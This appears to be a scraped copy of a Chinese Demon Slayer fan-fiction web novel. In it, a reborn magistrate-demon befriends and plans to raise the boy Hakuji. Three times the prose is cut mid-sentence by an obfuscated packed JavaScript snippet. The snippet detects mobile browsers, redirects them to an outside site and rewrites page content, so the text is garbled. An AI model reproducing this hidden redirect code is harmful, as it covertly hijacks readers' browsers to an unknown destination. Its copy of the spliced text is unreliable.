《在鬼灭靠养崽成为最强》 1. 狛治 “你是一只鬼,一只能行走在阳光下的鬼。” 町奉行所高台之上,白城穿着白色的狩衣,小袖圆领露出来一截修长的脖子,在阳光的阴影里白得令人心惊。 肺部不住发痒,白城捂着嘴不住咳嗽了两声,静静听着颅内不知名的声音。 “C3695号你好,我是你的系统。你穿越了,穿越到鬼灭之刃的世界。” “身份是町奉行所的町奉行,目前世界线处于江户时期1646年,您的新手保护期为30天,之后您会像其他鬼一样被无惨感知到位置。” “请抽取你的能力。” 空中漂浮着一个按钮,白城举起白色的纸扇在空中轻点,像是石子漾开水面,而后出现了一个蓝色宝箱。 “你抽取到的为C级能力——坐山高。” “只要坐在一座山上,便能随山一起长高。” “请仔细研究能力,发展自己的势力。” “目前鬼王鬼舞辻无惨正在寻找能够克服阳光的蓝色彼岸花,产屋敷组建的鬼杀队同样在四处猎鬼。前任宿主们死状凄惨,还请您谨慎对待。” “查看您的个人面板,各项数值低下,健康度远低于60正常水平,请尽快强身健体,否则可能殒命于新手期。” 地狱开局,前狼后虎,身体状态还堪忧。 白城看向自己的数值面板。 健康度:38(标红:一吹就倒) 力量:1(纯黑色的进度条甚至很难看清那星星白色光点:提不动一袋米) 敏捷:1(躲不过路上行人的恶意冲撞) 耐力:1(围观一场刑罚都会气喘吁吁) 能力:0(未使用) 别的鬼靠吃人变强,白城这模样,别说吃人了,怕是进了人家门,就会因为体力不支而倒下,睁眼会不会被卖到窑子里,还要看那人家心地善不善良。 白城轻轻苦笑一声。 伴随一声不可闻的电流滋响,下一秒像是真空的保护罩从周身撤去。 火辣太阳的热度一瞬间席卷皮肤,少年压抑着痛苦的闷哼,棍棒重重砸在皮肉里的钝音,树上的蝉鸣与流动的空气,仿佛一瞬间停滞的时间开始流动。 典型的日式方正庭院中央,烈阳之下,粗糙扎人的草席平铺在地上,不足十五岁大的少年被人抓住四肢,剥下上衣在烈日下经受着棍棒的拷打。 棍棒顺着他的脊柱一下下有节奏地抽打在他肩胛和腰窝。 他颈部臀部肌肉线条流畅的背部,随着抽打一下下不住地弹动,每一棍下去都有鲜血四溢溅出,却牙根紧咬,始终没发出半点痛嚎哭泣或是求饶的声音。 白城从阴影里走到他的脑袋前。 “奉行大人。”旁边的捕吏害怕他晒到。 可白城轻轻抬手拦下,修长的指尖在阳光下泛着玉一样的白,“还有多少下?” “百叩之刑,还剩一大半呢,奉行大人要是累了,不如先回屋里休息。” “我陪你们一起晒着吧。”白城微微摇头。 看着像谪仙一般的奉行大人,捕吏们跃跃欲试,就连打人都更有力气了。 白城并未阻止,只是静静站在一旁俯视着少年躯体的弹动挣扎,俯视着他紫黑色肿胀的肩胛,渗血的皮肤。 此刻狛治仍是漆黑的头发像少年心性一样直愣愣地朝天竖着,空气里弥漫的血腥味不住刺激着白城的大脑,让他意识到,一切都不一样了。 他近乎第一眼就认出来了,眼前的少年就是未来的猗窝座,是还没遇见庆藏恋雪,还在以扒窃为生的11岁的狛治。 他甚至能记得自从2017年于63话初登场后,猗窝座的每一格特写。 来这之前,白城是个幼儿园老师,暑假特意飞去一趟日本,坐在电影院的IMAX厅里见证猗窝座生命的落幕。 在电影院的天花板因为地震碎裂,钢筋随着砖块刚巧插进白城颅顶的那一刻,还在播放的电影定格在狛治和恋雪在烟火下,羞涩诉着少年的心事。 电影播放到猗窝座回忆杀之际,白城便已泪流不止,可当狛治真的匍匐在自己身前挨打的时候,涌上心头的不是怜惜,不是自大的拯救,而是被死亡压顶的恐惧。 阳光刺得他浑身发冷,白城深知产屋敷家族指挥下的鬼杀队是何等的天骄,知道十二鬼月的压迫感是何等强大,更知道一只能行走在阳光下的鬼于这个世界是多么大的bug。 鬼杀队会拼尽全力来绞杀自己,而鬼舞辻无惨一旦发现,等待着自己的就是无限被吞噬,再生,苟延残喘的命运。 更何况这是一个连把十二鬼月都逼到走投无路的吃人的社会,而他——一个幼儿园教师,手无缚鸡之力的普通人,孱弱的鬼,劣等的C级宿主,居然要在这样的时代跟传承千年的两大势力分庭抗礼同台竞技。 光是想想他的指尖就不住颤抖。 白城站在狛治面前,听着他的痛哼,发麻的头皮终于找到一丝理智,开始不断回忆系统的言论,一点点理清自己手里仅有的几张牌。 我是町奉行所的町奉行,相当于市长兼警察局长兼地方法官。 这意味着我有权。 白城用指尖摸了摸身上狩衣的真丝布料,又不着痕迹地打量着捕吏们的衣物,再一次确认町奉行还有钱。 而这时候的狛治还是个为了给父亲买药,只能上街偷鸡摸狗,再被官府众人抓回来面对刑罚的孩子。 我对如今的狛治,目前处于绝对的上风。 但这还不够。 无惨座下的上弦三是我的敌人,但眼下的狛治不过是个泥菩萨过江自身难保的孩子。 我的敌人不是狛治,而是鬼杀队还有无惨。 我如此孱弱的身躯该如何发展自己的势力,效仿产屋敷一族? 白城不着痕迹地眯眼,虽然他手拿鬼灭剧本,但漫画里并没有详细阐述江户时期这段历史。 产屋敷一族是依靠近乎变态的直觉与果决的手腕不断发展壮大产业,而自己并没有这个天赋。 我手里唯一的牌就是我知道谁在未来会成为强者。 像是灵光一现,系统的电音仿佛回荡在耳边,那通往胜利的丝线突然被思绪抓住。 “只要坐在一座山上,便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16543969|186700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能随山一起长高。” “请仔细研究能力,发展自己的势力。” 我是鬼,但他却说让我发展自己的势力,有没有可能我的血可以产生被我操控的鬼!就像……鬼舞辻无惨那样。 而坐山高,如果能力如若真如自己所想,可以把山设定成狛治童磨甚至继国严胜,那不就意味着只要他们变强,自己就可以跟着他们变强,甚至始终坐在山头,压上他们一头。 坐山高。 坐山高。 好好好。 这个能力,对于没有鬼灭剧本的普通人可能是无用的能力,但对于可以培养势力的鬼,对于已经知道哪些人会变成强鬼的我,没有比这更适合我的能力了。 白城看着狛治的眼神愈发火热,像是太阳一般烧灼着人的身体。 下一秒,咳嗽两声,手指挡在唇间,掀开竟能看到两抹血来。 挨完百叩之刑,被麻绳十字背缚双手的狛治抬眼来看他,豆大的汗珠挂在他的皮肤上,银白的睫毛下蓝紫色的瞳仁冰冷,没有对弱者的嘲弄也没挨过打的憎恨。 “扒手的刺青,你双臂上已经有三条线了,再有下次,就砍掉手腕。”白城轻声念着电影里的台词。 而狛治发出不屑的蔑笑,身体每一寸的肌肉都随着胸腔的笑而震颤着,撕裂的伤口再度渗出血来,汗珠顺着睫毛落入眼球,可他毫不在意地放声大笑,他猛地抬起身体,直视着高高在上的白城,又被捕吏压着身体强行跪下。 “要砍就砍吧!”狛治硬抵着两人居高临下的施压,昂起透露,完全肿到睁不开眼的左脸皮肉尽是紫黑色的肿胀。可蓝青色的右眼大睁着,像修罗怒目,透出猛兽般凶狠的畅意,他咧着白牙道,“就算两只手腕都被砍了,我还有脚!” “我用脚踢着偷。” “反正下次绝不会再被你们抓了!” 折扇点在他面前的草席上,席间的黑血刹那间便染黑了折扇雪白的边缘。 伴随一阵皂角味的清香,接着是沾上尘埃与血渍随性落在他身前的直裾,白城就那么轻轻地在他身前坐下,绸缎一般白色的发似水一般倾泻而下,他轻笑跟他平视,“才十一岁就屡次犯罪,受了连壮汉都会昏倒的百叩之刑,还这么有气势。” 折扇抬起,以同样的角度直指向狛治,当时的奉行说的是——你真是个鬼崽子! 而此刻白城温柔地弯了弯眉眼,“不怪自己偷窃,也不怪官府打你,只是想着之后不被再抓么。” 狛治扬着眉眼挑衅,怒意让面部青筋都拧起,“随你怎么说!听说我生下来就长牙了!” 说不定我就是鬼……” 崽子两个字没有吐出口,因为唇上落了一根冰凉温润的手指。 狛治很熟悉这样的体温,是体虚病弱之人身上的温度,他近乎下意识地压低了嗓音,最后沉默了下来。 他不愿,也不想,对弱者嘶吼挑衅,哪怕眼前之人是棍罚他多次的奉行。 接着冰凉的手便落在了他的头上,像是幼时母亲那般轻轻替他顺了顺发丝,他听到奉行大人轻笑着夸赞,“真是……好一个愿赌服输。” 2. 鳗鱼饭 落在头上的温度是那么温暖,让狛治不由得想到母亲在世时的体温。 他近乎下意识地向后仰了仰脖子。 “饿了吗?” 他听见奉行大人轻声道,“正午了,不如留下来一起吃饭吧。” “大人?这……”旁边的捕吏想拦。 “你们也一起吧。”白城看向了他们,眉眼弯弯的。 捕吏对视两眼,都不说话了。 狛治从捕吏架在肩上的棍子缝隙里钻出来,理了理自己的衣领。 褐色粗布短衣立在阳光下,他才11岁,营养没跟上发育,个子不高,但胸襟露出的肌肉却练得紧实。 他抬眼盯着白城,并不说话。 “身上痛吗?”白城望向自己的幕僚,“等会叫个郎中来给他看看吧。” 小崽子没有先前挨打时的嚣张气焰,似乎受不习惯他人的好,此刻站在庭院里反倒有些束手束脚。 “药很贵……给这么个罪人浪费……”幕僚近乎脱口而出。 白城只是静静地看着他。 “我知道了。”幕僚低头。 平日里油水充足的高大捕吏很快就给狛治挤到了墙角,人群鱼贯走入厅堂,跟同僚聊着家里的趣事,没人分给他半点眼神,就连刁难都没有。 人们把他当成空气,又或是不可靠近的肮脏东西。 狛治坠在队尾,提起衣服下摆抖了抖尘土,本想转身离开,奈何空荡荡的肚子咕咕叫了两声。 他低头沉思半晌,咬牙跟了上去。 少吃一顿饭,就能多给爸爸存点钱买药。 而且万一这个奉行真的给自己叫了郎中,他就可以把药偷偷藏起来带回家给爸爸吃。 奉行所的私室不大,捕吏也是第一次进入奉行的私室用餐,虽有些拘束但很快按照职级坐了下来。 江户时代人们用膳多在木制的小矮桌上,一人一桌,准备饭食的仆役并没有给狛治准备桌子,狛治孤零零站在门口,正午的阳光烧灼在他背上,显得格外刺眼。 他捏着衣服的指节紧了紧,而后咬牙便要在门外坐下。 趴在地上吃又有何不可? 免费的午餐不要白不要。 “五条,在我身边安排一个桌案。”白城轻声吩咐,顺便起身从旁边的矮柜里翻出一个蓬松的黄色坐垫,中间还用针绣了一只可爱的红眼小白兔。 幕僚虽然皱眉,但不敢不从。 “坐过来吧。”白城朝狛治招手。 狛治踩着木屐的脚趾蜷缩了一下,近乎在门口僵直半分钟,他站在烈阳下逆光看着主座上高高在上不染尘埃的奉行,绣着花鸟画的昂贵屏风在奉行背后,白城一双沉静似水的眸子温柔地看着他。 “过来吧,小鬼。” 他弯腰脱下了木屐,整齐地摆放在台阶下,脚在木板上磨蹭干净,才抬脚踏入榻榻米上。 两侧的捕吏顿时变得安静,屋内甚至只能听见树上蝉鸣的叫声。 他走到奉行大人身边,扫了眼众人的坐姿,而后跪坐了下来。 膝盖刚一触及垫子就觉得软软的,他低头挪了挪膝盖,又伸手去摸了摸绣上去的兔子耳朵。 到底还是个孩子。 仆役开始依次奉上每人的餐食,白城的视线一半留意着狛治,一半在思考鬼灭故事线里接下来会发生的事情。 不出意外,狛治的父亲已经在家上吊自杀。 狛治吃过饭回去……也只能看到父亲挂在屋内的尸体。 该怎么样处理这件事情? 怎么样处理才能让狛治不对我产生恶意? 虽然原著里狛治并没有因此对官府人员产生报复行为,但他又怎么可能不怨? 更何况自己留他下来吃饭,他不可避免地会想——要是不留下来说不定还能见到父亲最后一面,要是不留下来说不定父亲还有气,还能救下来。 虽然按照时间线,自从他父亲得知狛治再度被抓入官府消息的一瞬,就因为愧疚而选择了自杀。 白城初入这个世界的时候,狛治父亲的死亡便已成定局。 脑中念头百转,但面上不显。 黑色的饭盒上有漂亮的牡丹漆画,众人等待着奉行率先动筷。 狛治垂眼看着面前高级的饭盒,等待大家都打开了饭盒,才小心翼翼地揭开了盖子。 今天厨房备了新鲜的鳗鱼,做的是特等的鳗鱼盖饭,烤鱼的香气混着蜜汁酱料香味扑鼻。 他不由得吞了吞口水,下意识地看向白城,却许久没有动筷。 “怎么了?”白城注意到了。 “我不饿。”狛治第一次在奉行面前露出软化的语气,“我能把这盒饭带回家吗?饭盒我会洗干净还给您的。” 白城近乎能想象到,狛治兴高采烈地捧着鳗鱼饭回家,却只看到父亲挂在梁上尸体那一瞬的痛苦。 掉落在地的饭盒,流淌到榻榻米甚至沾上尸体的鳗鱼汁,冷腥的鱼油,还有冰冷结块的米饭。 白城能够想象到那个场景。 这顿饭不该吃鳗鱼饭的……这么美味的饭,小孩之后可能再也吃不下了…… 一声为不可闻的轻叹,“家里还有人?几位?我让厨房备一份给你带回去。” 狛治本想多说几位,这样可以少好几天的伙食费,但对上奉行的眼睛,“一位,我爸爸。” 直到厨房把新备好的餐放到狛治身边,他才动起筷子。 木筷小心翼翼地夹断鱼尾,然后送到嘴边尝了一口,蓝色的瞳孔伴着雪白狭长的睫毛放大。 “很好吃?”白城笑眯眯地看他。 狛治对着鳗鱼饭怔神,过了好一会才把脑袋埋在饭里开始刨。 风卷残云般丝毫不剩,甚至连酱汁都沾着米粒吃了个干净。 席上的人如坐针毡,跟罪人同桌吃饭,他们自诩辱没了身份,可这人却是奉行大人允许的。 他们近乎各个都皱着眉头,有些食不下咽。 “你不吃吗?”狛治问离他最近的一个幕僚,低头一看鳗鱼饭近乎还没动过。 幕僚怒发冲冠地用手指着他,一时间气得说不出话来。 狛治等了一分钟,没见幕僚反对,便把饭盒连着味增汤一起端了过来。 “奉行大人!”幕僚一扫袖子便要站起。 白城单手在案几上撑着下巴,笑眯眯地看着狛治,“小孩子还在发育,你就让他吃吧。不要浪费粮食。” 幕僚愤愤坐下。 狛治难得吃了个饱饭,食物分解的多巴胺甚至削弱了身体的痛感,等他结束用餐的时候,幕僚和捕吏都已经一个个先行告退了。 席间甚至只剩他和奉行两人。 狛治专心吃饭,狭长的睫毛轻扇,有些局促地把饭盒盖好垒在一起。 他走到奉行桌子对面三米的距离跪下,“多谢款待。” “那可以答应我下次不再偷窃了吗?”白城的案几早已收拾干净,此刻随性地卷着一本书在看,白发如雪一般散落在白衣之上,一双银白色的眸子却没有狛治熟悉的盛气凌人之感。 狛治不语。 “罢了,下次不要再被席间的叔叔们逮到了。”白城挥挥手,“早些回家。” “谢谢您。”狛治确实把席间捕吏的脸都记在心间,难得衷心感谢。 期间名为五条的幕僚去而复返,“奉行大人,医师不愿给罪人看病,说要是强行胁迫他,请愿切腹自尽。” 狛治并不抬头。 白城冷笑一声,“好大的口气,难道还要我亲自去请吗?” “那我先行回家了。”狛治垂着眼眸,抱着鳗鱼饭盒,大步走到门槛边, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16543970|186700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仿佛什么都没听到。 白城出声叫住了他,“私室里间有一个柜子,柜子第三层有上好的金疮药,回去自己记得涂。” 狛治扭头看他,一双美目瞪大,似乎不可置信。 “去吧。” 狛治拉开厚纸糊成的木框架推拉门,一进里间,便有一股淡淡檀木香,清冷带点苦甜。 他赤脚踩在地面,走到奉行大人所说的柜子前,拉开了柜门。 金疮药就在柜子最外层,很显眼的地方。 但狛治近乎第一眼就被金疮药后面的铜钱吸引。 一长串的铜板,甚至还有银货。 少年的心脏砰砰直跳,他扭头看着推拉门外奉行大人的影子。 那人还半躺在坐席间,没有往这边看过来。 心如擂鼓。 狛治的眼前滑过父亲病弱的模样,想起昨夜给父亲擦拭身体,那崎岖突出的一节节脊柱。 是诱饵吗? 他吞咽了一下口水。 暗自下定决心。 诱饵又如何? “拿到了吗?”走到外间,奉行大人半靠在案几间,视线集中在书上,并没有盯着他。 他问的是什么? 到底是指金疮药还是那串铜钱? 狛治死死盯着他的微表情,肌肉绷得死紧,伤口再一次裂开,血渍浸湿了褐色短衫。 他把金疮药从口袋里缓缓掏出来,“拿到了,谢谢您。” 白城这才抬头,确认了瓶子的颜色,“回去敷在伤处,三天就能好。这两天不要跟人打斗了,嗯?” “嗯。”狛治垂眉不看他,“我会的。” “早些回家吧,鳗鱼饭热了会更好吃,别让令尊久等。”白城挥手。 狛治好一会才反应过来令尊指的是自己的父亲。 眼眶居然有些湿润。 11岁在烈阳下挨百叩之刑的时候没哭,顶着嘲讽嬉笑的眼神落座的时候没哭,吃鳗鱼饭的时候没哭,反倒现在眼眶有些湿润。 这种罕见的珍贵的,从未感受过的情感是什么呢? 这份感情在胸腔里膨胀,让他觉得胸口有些酸涩,“我会报答您的。” 他听见自己这样说。 他捧着饭盒的指尖用力到泛白,垂眼看着自己手腕上象征罪人的三道刺青,口袋内层的铜板像是火烤过那般灼得人难受。 就连他自己都觉得这是天方夜谭,有些羞愧。 但白城差点笑出声来,还是狛治的猗窝座大人倒是格外好说话。 “真是个乖孩子啊。”白城轻轻叹气。 很珍重地走到狛治面前,蹲下身跟他平视,伸出了小拇指,“我等你长大。” “一言为定。”狛治空出右手,勾上了奉行大人的小指。 等到走出町奉行所,狛治还在为奉行大人那像神明一样温柔的眸子而恍惚。 奉行大人的手很细腻,冰冰凉凉的,看起来身体很不好的样子。 忘记告诉他我的名字了。 不过这也是好事。 坚硬的铜钱隔着薄薄的布料第一次膈得人心慌,狛治转念间便一扫眸底复杂的情绪,抱着饭盒往家里匆匆跑去。 “狛治!”隔壁独居的三花家的老爷爷颤颤巍巍地大步跑向狛治。 头顶的烈阳一瞬间让人眼前有些恍惚。 狛治心底里的不安愈来愈大,一双澄蓝的瞳孔近乎凝固在眼眶中。 三花爷爷嶙峋的手掌抓着狛治的肩膀前后摇晃,“听说你又被抓了。” “奉行大人邀请我去吃午饭……我还带了饭给爸爸……”狛治喃喃语无伦次,甚至自己都分不清有没有出声。 胸前的木盒沾着狛治的体温,一瞬间他觉得四肢都拔凉拔凉僵硬万分。 “你父亲上吊自尽了!” 3. 饭团 柜子里的铜币一扫而空,银货也少了一点,最值钱的金子却一点没动。 白城重新合上柜门,半躺到旁边的榻榻米上,跟着颅内的系统有一搭没一搭地对话。 “技能是坐山高,那怎么样才能绑定山啊?” “山要是现实的山吗?可以是人吗?” “你看刚刚那个叫狛治的小孩怎么样?” “别看他现在还小,以后可是赤手空拳掏了67个大人的心肺。一个人进了剑术道场,徒手破坏那群做尽坏事的剑士们的头部和内脏,大部分尸体不成原形,下巴、脑浆、眼球、手脚、内脏飞溅,粘在了天花板和墙壁上。是个很厉害的小孩。” “你说把他当作山怎么样?系统你说句话啊。” 白城有一搭没一搭地在脑子里戳着系统软糯Q弹的身体。 系统东倒西歪,但硬是蹦不出一个字,仿佛最初的对话都是白城一个人的幻觉。 狛治现在在干什么呢? 应该看到了父亲的尸体, 已经拆开了父亲留给他的最后一封信吧。 屋外的斜阳染出瑰丽的红,算算时间,狛治现在应该刚把父亲的遗体埋到石塔下。 之后他会跟城里的武士们打起来吧。 穿堂风卷起了庭院里的落叶,拂动了衣袖,香炉清烟袅袅,白城走到书房,把这段时间在城里大肆劫掠的武士列了个名单,写下了批捕状。 幕僚在一旁胆战心惊。 “大人,这位名为宫铃的武士是上位奉行大人的亲生儿子。” “哦?”白城微微一笑,“所以呢?” “在我的城里就要守我的规矩,我已经给过面子了。” “明天看起来像个良辰吉日,就把他们都关进大牢里吧。”白城略微思索,轻飘飘地扫了眼幕僚,“我跟你们一起,不要走漏了风声。” “是。”幕僚对上眼神,不由得冒出冷汗,收了别的心思。 “大人!大人!城头东边,一个小孩跟武士挑衅,现在突然打起来了!” 第二天一早,白城刚到奉行所就看见幕僚火急燎燎地跑进来。 白城刚刚束好自己的长发,“带上捕吏,我去看看。” 闹事地点离奉行所并不远,江户时代的武士地位崇高,住所多分布在奉行所周边。 隔着老远就看到一个穿着褐色长袍的小孩提着拳头往一个武士的脑袋上揍。 “住手!”旁边的捕吏亮着刀便要上前。 白城拦下了。 “先疏散人群,不急。”白城笑眯眯的。 “去死吧!”伴随少年一声怒吼,一拳就擂上了武士的脸颊。 人的皮肉在空中荡出波浪,还没发育完成的矮小身体抓着武士的领口,一拳接着一拳地往人脸上砸。 鲜血与汗珠齐飞。 旁边的武士悄悄后退半步,从身后抽出一把匕首,猛地从刀鞘里拔出。 狛治回身一脚踏上身后的井沿,借力飞身而起,像炮弹一样死死卡着人的腰,将人飞扑撞进木屋墙面。 而后从人身上一撑跃起,调整姿势,又恶狠狠地冲向另外两人,一脚踏地尘土飞扬,衣袍在空中像是蝴蝶的翅膀,他高高跃起一拳砸上人的脸颊,右腿在空中一脚踹上另外一人的下颚。 “真狠啊。”白城点评。 “这个鬼崽子!偷钱还不够,居然还来挑衅武士,应该砍断他的……” “很有天赋吧。”白城欣赏着狛治打架的场面,“这个小孩。” 幕僚恶狠狠的帮腔卡在了喉咙里,而后像个鹌鹑一样,“确实,不像常人。” “你说做我的义子,合不合适?”白城有些开心地勾了勾唇角。 “大人!这可是罪人!于理不合!”幕僚瞪大了眼珠。 白城不知道有没有听进去。 武士一个个□□倒在地,狛治抓着武士的脑袋,一个膝盖顶上人的面门,伴随人像面条一样软软瘫倒在地的身体,剑术道场的援兵也赶了过来,齐刷刷的脚步声由远及近,一群人高马大的武士拿着佩剑将狛治团团围住。 “你个偷东西的鬼崽子!上次没挨够打吗?”为首的木村,狛治认识。 “上次是不是跟你说过,以后躲着我走,再见撕烂你的嘴?” 之前这个道场的五个人设下埋伏,控制住狛治的四肢,供木村揍了狛治一天。 从正午打到天黑,肋骨断了一根,爬都爬不起来。 “吵死了,臭猪头,打死你哦!”狛治压着眉头瞪他,一口白牙亮出獠来。 “看来上次还是下手轻了,不如这次砍断你的四肢吧!” “啊?”木村狞笑着提剑靠近。 狛治不多废话,脚步微移,以雷霆万钧之势踏地而起!整个身体飞跃在空中,扑向木村的手臂,抱住他的右手,一个手刀狠狠劈上木村的手腕。 木村一声惨叫,手腕一麻,没人操控的剑便要下落。 狛治灵巧地接握剑柄,手肘反捣在木村脸上,双腿在空中划出一道圆圈灵巧落地,刀柄立起,环顾四周,“废物,也就这点能耐了,叫他们一块上啊。” “还愣着干什么!给我上!”木村捂着自己的脸色厉内荏。 黑压压的人群开始向前逼近,千钧一发之际—— “是啊,还愣着干什么?”白城笑眯眯地看着捕吏们,“光天化日寻衅滋事,我看不少人还在批捕状上。” “五条,把这些人都押回大牢,核对名单后,该放的放,该杀的——杀。” 面色白如玉,音调轻缓平稳,却让在场所有人背后顿生鸡皮疙瘩。 武士被缴械,狛治回头看他,也缓缓放下了自己的刀。 听话的孩子。 真识时务。 白城低笑,扭过头去没让狛治看到。 鬼崽子平日里可不是那么容易束手就擒的人——鳗鱼饭到底还是香啊。 深夜,夜寒,烛火的剪影在跳动。 白城抬手拨开窗户,已经入秋,到底是有些凉了。 幕僚刚核对完卷宗,准备下班回家。 白城招手叫他来,“夜深,外面风大,叫小黑给你备件外套。” 幕僚有些感动,“不必了,奉行大人,我……” “狱舍湿冷,狛治好像也没穿什么厚衣服,你也顺道给他送一件去吧。”白城接着道。 感动收了回去。 幕僚打着灯笼,顺着石阶而下。 白天抓的武士要等到明早才能放出去,他今晚才核对完名单。早在下午的时候,他们的家人便送了银两来打点,此刻一个个都躺在褥子上,睡得昏昏沉沉。 五条幕僚走到最里间,在昏黄的光里对上了小孩似鬼一般生冷的眼神。 他皱眉,从栏杆缝隙把叠好的大衣递了进去。 狛治扫了一眼大衣,移开视线,靠墙抱着膝盖不语。 “奉行大人爱民如子,还特意让我给你送来衣物。” 狛治三天两头屡次犯事,事实上就连五条都已经眼熟了这个远近闻名的鬼崽子。 “好好反省,以后要踏实工作!” 狛治并没有动弹。 五条皱眉,没有多少耐心,并未多说,只是蹲下身把大衣整齐地放在地上——奉行大人的衣物到底不能随意糟蹋。 而后就扭头回家了。 他还要回家喝老婆炖的汤,这个点回家,还能在宝宝睡觉之前跟她玩闹一会。 等白城忙完手头的公务已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16543971|186700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接近子时了。他伸了个懒腰,思来想去还是决定去监牢看狛治一眼。 牢房里只有大汉雷响般的鼾声,高低交错,张弛有度。 狱卒都睡着了,没有发现白城的到来。 里间的狛治靠在角落,漆黑的影子投在墙上,随着烛火晃动着。 旁边还有一只骨瘦如柴的大黑耗子,他团坐着,脑袋搭在膝上,侧头用指尖指尖逗弄着那个小玩意。 叫幕僚送来的衣物在他身边,整齐地叠放着,却并没有被使用。 “还不睡?”白城用备用钥匙打开了牢门。 狛治有些意外,狭长的睫毛抖动两下。 “伤势已经完全好了。”白城简单确认了两眼伤口,“恢复得很不错。” 狛治充耳不闻,低头玩着老鼠,甚至把它捧到怀里抚摸。 白城低声咳嗽了一下。 狛治立马抬头。 对上眼神,他很清楚地看到白城笑了。 他闷闷把老鼠放走了。 “不开心?”白城也跟他一起靠着墙,准备坐下。 “等一下。”狛治终于出声,把白城送给他的衣服在地上铺好,“坐吧。” 白城倒不是很介意,坐在左边,空出了一个人的位置,“你也过来吧,地上凉。” “我不怕凉。”狛治拒绝。 “所以还是凉的吧。”白城笑眼弯弯,带上了些许祈愿式的命令,“过来,我想和你坐在一起。” 狛治起身,不着痕迹地摸了摸屁股。 露水湿重,坐在地上的地方已经湿了。 他又一屁股坐了回去,不说话。 白城伸手去拉他,“没事的,明天洗干净还我就好了。” 磨磨蹭蹭得磨蹭,反正最后磨蹭到大衣上了。 白城从兜里掏出一个饭团,“一天没吃东西?” 看着白城一直举着,他硬憋出一句,“不饿。” 话音未落,狛治肚子就叽里咕噜叫了一声。 白城夸过,他是个识时务的孩子。 狛治盯着烛火,小口吞着饭团,冷不丁开口,“我偷了你的钱。” “嗯。”白城道。 “足以买下我这双手的钱。”狛治说。 “两银十七文。”白城道,“你认为的——你双手的价格?” 狛治吞下最后一口饭团,从口袋内侧,把银豆子和铜钱翻出来,一颗颗摆在大衣上,然后把自己的双手平举到白城的眼前,“全部都在这里了。” 看白城并不说话。 他又抬了抬刺了三道刺青的手臂,那是用刀划破皮肉,用生生泡进染料上浸的环状刺青,“随时可以砍掉。” 白城笑了,总之见到狛治的每时每刻,他好像都在笑。 “我好像是说过还有下次要砍手的话,记性不错。” “我想想……由于你屡次犯事,按律法,应该被逐出江户。” 狛治面无表情。 “在城外流浪,就不能跟爸爸生活在一起了。”白城道。 狛治的手猛地一颤。 “可以告诉我,你偷钱想要去买什么吗?” 少年的头颅垂了很久,很久很久。 他的肩膀有些颤抖,可白城并未催促。 两人一起靠着阴冷的墙壁,待了接近半个时辰,隔着布料能感受到少年的体温还有粗重的呼吸。 过了好久,狛治抬头,眼神麻木,空洞的眼底有死寂的哀伤。 他没有回答问题,他一句话也没说。 烛光摇曳间照亮了少年的面庞,干涸的泪痕折出亮晶晶的光来。 他只是沉默着。 一直沉默了下去。 而白城就那么静静地陪着他。 4. 忍耐 凌晨四点多的时候,狛治靠在墙上睡着了。 垂着脑袋,睫毛睡梦中还在不安地颤抖,白城把自己的外套脱下来,轻轻披在了小孩身上。 “走了走了!” “不在名单上的都可以走了。”捕吏吆喝着,一个个打开牢房门。 钥匙和铁链碰撞叮当直响,声音由远及近越来越大,狛治猛地惊醒,有些茫然地睁大了眼。 “你可以走了。” 狛治听见捕吏嘀咕,“真是奇怪,原本应该逐出江户的,不知道大人怎么还留这小子在城里。” 披在身上的外套入手柔软,浸着淡淡檀木的清香,狛治下意识地扭头去看身边——昨晚奉行坐的地方如今空空荡荡。 如果不是鼻尖环绕的真实的味道,和手中昂贵布料的触感,他都要怀疑昨晚的一切是自己的一场梦。 奉行大人晚上来给毫无背景的扒手送衣送饭。 说出去都要被人笑掉大牙,问是不是被打坏了脑子。 他图什么呢? 狛治不由得想。 但不过思索两秒便放弃了。 无所谓了,图什么都无所谓了。 他叠好衣物,放到捕吏们常常喝酒的桌上,“这是你们奉行的衣物,你记得转交。” 捕吏正在跟武士前倨后恭地说话,没分给他半个眼神。 “这是奉行的衣物,麻烦你们转交。”狛治又重复了一遍,额头青筋直跳。 武士和捕吏没人分他眼神。 他在原地站了许久。 “奉行的衣物,转交,懂吗?”狛治踩着凳子一跳,掐着捕吏的后脖颈就往地上拽。 捕吏吃痛,才扭头看他,“你小子活腻歪了是吧!” 正要亮剑,余光扫到鬼崽子怀里抱着的白色衣物一角,他揉了揉眼,确认是奉行大人衣物上特有的金丝暗纹。 “你们奉行大人的衣物,帮我转交。”狛治看他没有动手的打算,最后交代了一句,踏上石阶往外走,拉开木门,刺眼地阳光害得他不住眯眼。 门外人声熙攘—— 